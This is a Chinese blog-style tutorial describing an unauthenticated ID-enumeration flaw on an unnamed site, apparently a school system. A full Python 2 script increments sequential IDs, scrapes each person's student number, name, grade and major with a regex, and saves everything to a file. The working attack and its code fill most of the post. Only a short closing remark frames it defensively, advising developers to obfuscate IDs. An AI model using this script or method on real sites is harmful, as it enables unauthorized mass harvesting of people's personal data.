该程序使用request模块来对网页的请求访问,然后获取其网页的内容,再通过re模块下的正则表达式来筛选出所要的数据。代码简单,大牛路过别喷......
首先,想要获取网页中想要的数据,就要分析网页的结构和网页内容中数据在哪个html标签中,然后分析其间的关系。如下图:
在这里仅仅只是介绍获取上面的学号、姓名、年级和专业相对应的值。由图可以知道,所有的值都是放在一个div中,并且存放值的div的设置都是一样的,而且网页中
其他的值不是以这样的形式存放,这样就可以将其内容单独取出来了。网页的内容由网址后面的id值决定,每个id值都会对应着每个人的信息,这也算是一个小小的bug吧,
通过改变id值来获取不同的页面,进而获取到每个人的信息,比如:网址为:http://xxxx.xxx.com/test/id=15525,该ID值是对应上面的信息,而且通过测试知道该id
值是连续的,而不是随机的,所以这提供猜解每个人的方法,就是将id值累加就可以将所有人的相应的信息都穷举出来。通过上面的分析,就可以将想要的数据筛选出来了。
接下来就可以着手编写相应的正则表达式来获取相应的数据,你可以在站长工具上找到相应的正则表达式编写的工具来测试,将该div下的内容粘贴过去作为查找的内容,
然后测试你的正则表达式是否编写正确,看看是否可以获取到相应字段的值。编写的正则表达式为:‘<div align="left">([^<span]\s*.*\s*.*)</div>‘,能获取到相应的
数据,那么就可以开始整个程序的代码实现了。注意:在获取相应的数据前,应该知道网页的编码,不然可能会导致抓取下来的网页内容出现乱码现象。
首先就是导入相应的处理模块和一些变量的初始化:
# -*- coding:utf-8 -*-import requests import re Host = ‘‘ # 猜解的网址 # id value stuID = 15525 # 将结果写进文件里面 path = ‘H:\\python‘ # 保存结果的目录 nStop = 0 # 终止猜解的标志 kShow = 0 # 简单的计数
然后就是请求网页和处理网页的内容,来获取自己想要的数据:
try: while True: f = open(path + ‘id.docx‘,‘a‘) stuID += 1 host = Host + str(stuID) tmpValue = ‘‘ # 用于保存所有的值 content = requests.get(host).content # 获取网页内容 value = re.findall(‘<div align="left">([^<span]\s*.*\s*.*)</div>‘,content) # \s 匹配任意空白字符 testValue = value[0].strip() # 判断value列表的第一个值是否为空,是则退出循环 if testValue == ‘‘: nStop += 1 # 用于计算,如果出现连续100个人都没有信息,才退出循环 # 这样导致有一些同学退学的,相应的ID没有信息,导致中断了? if nStop == 100: print(‘已经拆解完 ... ‘) break print(‘.‘), # 简单的计数和提示 if kShow % 50 == 0: print for v in value: kShow += 1 try: val = unicode(v.strip()) tmpValue += str(v.strip().encode(‘utf-8‘)) + ‘ ‘ nStop = 0 # 这样当有信息时,将n置为0,保证了n的值当出现有值时是为0的 except UnicodeEncodeError: print(‘error‘) f.writelines(str(stuID)+ ‘ ‘ + tmpValue + ‘\r\n‘) # 将信息写进文件 f.close() except Exception,e: print(e) print(‘done ... ...‘)
上面就是整个程序的全部代码了,其中有些代码并没有任何意义,只是简单的提示功能,如:print(‘.‘),在控制台下输出一个‘.‘,表示该程序还在运行,因为该程序是将结果
直接写进一个文档中,而且没有任何的输出,如果没有提示,用户可能会误以为该程序没有正常执行或执行出现了卡死状态,这样还有一个就是可以简单的进行猜解的数量,
因为下面设置了每50个id就换行,所以还是可以初略的判断猜解的数量的,当然,你还可以在输出的前面添加序号,这样就方便计数,更可以将其使用累加方式将其计算出来。
从该例子看,这样未授权就可以访问到相应网页内容的并不少见,由于开发人员的安全意识不够,这样必会导致我们数据的泄露,就该网站来说,应该将该ID值加密,最好是
使用现有的加密方法及加上自己一些标识符混淆,而不是将其以明文方式显示出来。